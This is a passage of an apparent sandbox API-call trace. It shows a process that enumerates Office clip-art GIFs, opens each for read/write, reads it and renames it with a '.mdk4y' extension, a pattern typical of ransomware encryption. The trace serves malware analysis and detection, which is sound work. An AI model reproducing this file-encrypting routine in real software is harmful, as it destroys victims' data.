Office\\Office14\\1033\\PUBSPAPR\\PDIR49F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir49f.gif.mdk4y")) returned 1 [0198.155] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.155] AreFileApisANSI () returned 1 [0198.155] GetACP () returned 0x4e4 [0198.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR4B.GIF", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR4B.GIFF", lpUsedDefaultChar=0x37dec0) returned 10 [0198.155] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir4b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.156] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827338600000) returned 1 [0198.156] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2a01, lpOverlapped=0x0) returned 1 [0198.188] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827341800000) returned 1 [0198.188] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827341800000) returned 1 [0198.188] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir4b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir4b.gif.mdk4y")) returned 1 [0198.190] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.190] AreFileApisANSI () returned 1 [0198.190] GetACP () returned 0x4e4 [0198.190] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR4F.GIF", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR4F.GIF", lpUsedDefaultChar=0x37dec0) returned 10 [0198.190] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir4f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.190] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827342000000) returned 1 [0198.190] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x76cd, lpOverlapped=0x0) returned 1 [0198.191] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827342100000) returned 1 [0198.192] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827342100000) returned 1 [0198.192] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir4f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR4F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir4f.gif.mdk4y")) returned 1 [0198.193] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.193] AreFileApisANSI () returned 1 [0198.193] GetACP () returned 0x4e4 [0198.193] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR50B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR50B.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0198.193] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir50b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.193] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827342300000) returned 1 [0198.193] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1001, lpOverlapped=0x0) returned 1 [0198.195] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827342500000) returned 1 [0198.195] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827342500000) returned 1 [0198.195] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir50b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir50b.gif.mdk4y")) returned 1 [0198.196] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.196] AreFileApisANSI () returned 1 [0198.196] GetACP () returned 0x4e4 [0198.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR50F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR50F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0198.196] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir50f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.196] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827342600000) returned 1 [0198.196] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xe82, lpOverlapped=0x0) returned 1 [0198.215] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827344500000) returned 1 [0198.215] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827344500000) returned 1 [0198.216] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir50f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir50f.gif.mdk4y")) returned 1 [0198.217] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.218] AreFileApisANSI () returned 1 [0198.218] GetACP () returned 0x4e4 [0198.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR51B.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR51B.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0198.218] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir51b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.219] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827344900000) returned 1 [0198.219] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4217, lpOverlapped=0x0) returned 1 [0198.255] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827348500000) returned 1 [0198.255] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827348500000) returned 1 [0198.256] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir51b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir51b.gif.mdk4y")) returned 1 [0198.257] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.257] AreFileApisANSI () returned 1 [0198.257] GetACP () returned 0x4e4 [0198.258] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR51F.GIF", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR51F.GIF", lpUsedDefaultChar=0x37dec0) returned 11 [0198.258] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir51f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.259] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827348900000) returned 1 [0198.259] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x16a1, lpOverlapped=0x0) returned 1 [0198.260] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827349000000) returned 1 [0198.260] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827349000000) returned 1 [0198.261] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir51f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR51F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir51f.gif.mdk4y")) returned 1 [0198.262] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.262] AreFileApisANSI () returned 1 [0198.262] GetACP () returned 0x4e4 [0198.262] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR5B.GIF", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR5B.GIFF", lpUsedDefaultChar=0x37dec0) returned 10 [0198.262] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir5b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.263] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827349300000) returned 1 [0198.263] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4c88, lpOverlapped=0x0) returned 1 [0198.317] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827354700000) returned 1 [0198.318] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827354800000) returned 1 [0198.318] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir5b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir5b.gif.mdk4y")) returned 1 [0198.320] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.320] AreFileApisANSI () returned 1 [0198.320] GetACP () returned 0x4e4 [0198.320] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR5F.GIF", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR5F.GIF", lpUsedDefaultChar=0x37dec0) returned 10 [0198.320] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir5f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.321] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827355100000) returned 1 [0198.321] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xce72, lpOverlapped=0x0) returned 1 [0198.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827357400000) returned 1 [0198.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827357400000) returned 1 [0198.345] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir5f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR5F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir5f.gif.mdk4y")) returned 1 [0198.346] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.346] AreFileApisANSI () returned 1 [0198.346] GetACP () returned 0x4e4 [0198.346] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR6B.GIF", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR6B.GIF", lpUsedDefaultChar=0x37dec0) returned 10 [0198.346] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir6b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.347] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827357700000) returned 1 [0198.348] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x24dd, lpOverlapped=0x0) returned 1 [0198.349] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827357900000) returned 1 [0198.349] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827357900000) returned 1 [0198.349] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir6b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir6b.gif.mdk4y")) returned 1 [0198.350] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.350] AreFileApisANSI () returned 1 [0198.350] GetACP () returned 0x4e4 [0198.350] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR6F.GIF", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR6F.GIF", lpUsedDefaultChar=0x37dec0) returned 10 [0198.350] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir6f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827358100000) returned 1 [0198.351] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6e4a, lpOverlapped=0x0) returned 1 [0198.359] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827358900000) returned 1 [0198.359] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827358900000) returned 1 [0198.360] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir6f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR6F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir6f.gif.mdk4y")) returned 1 [0198.362] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.362] AreFileApisANSI () returned 1 [0198.362] GetACP () returned 0x4e4 [0198.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR7B.GIF", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR7B.GIF", lpUsedDefaultChar=0x37dec0) returned 10 [0198.362] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir7b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827359400000) returned 1 [0198.364] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6054, lpOverlapped=0x0) returned 1 [0198.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827359800000) returned 1 [0198.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827359800000) returned 1 [0198.368] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir7b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir7b.gif.mdk4y")) returned 1 [0198.370] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.370] AreFileApisANSI () returned 1 [0198.370] GetACP () returned 0x4e4 [0198.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR7F.GIF", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR7F.GIF", lpUsedDefaultChar=0x37dec0) returned 10 [0198.370] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir7f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.371] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827360100000) returned 1 [0198.371] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x70bc, lpOverlapped=0x0) returned 1 [0198.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827360200000) returned 1 [0198.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827360200000) returned 1 [0198.373] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir7f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR7F.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir7f.gif.mdk4y")) returned 1 [0198.374] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.374] AreFileApisANSI () returned 1 [0198.374] GetACP () returned 0x4e4 [0198.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR8B.GIF", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR8B.GIF", lpUsedDefaultChar=0x37dec0) returned 10 [0198.374] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir8b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.375] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827360500000) returned 1 [0198.375] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd2e, lpOverlapped=0x0) returned 1 [0198.376] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827360600000) returned 1 [0198.376] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827360600000) returned 1 [0198.376] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir8b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8B.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir8b.gif.mdk4y")) returned 1 [0198.377] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0198.377] AreFileApisANSI () returned 1 [0198.377] GetACP () returned 0x4e4 [0198.377] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PDIR8F.GIF", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PDIR8F.GIF", lpUsedDefaultChar=0x37dec0) returned 10 [0198.377] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir8f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0198.377] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827360700000) returned 1 [0198.377] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2204, lpOverlapped=0x0) returned 1 [0198.379] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827360900000) returned 1 [0198.379] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827360900000) returned 1 [0198.379] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR8F.GIF" (normalized: "c:\\program files\\microsoft 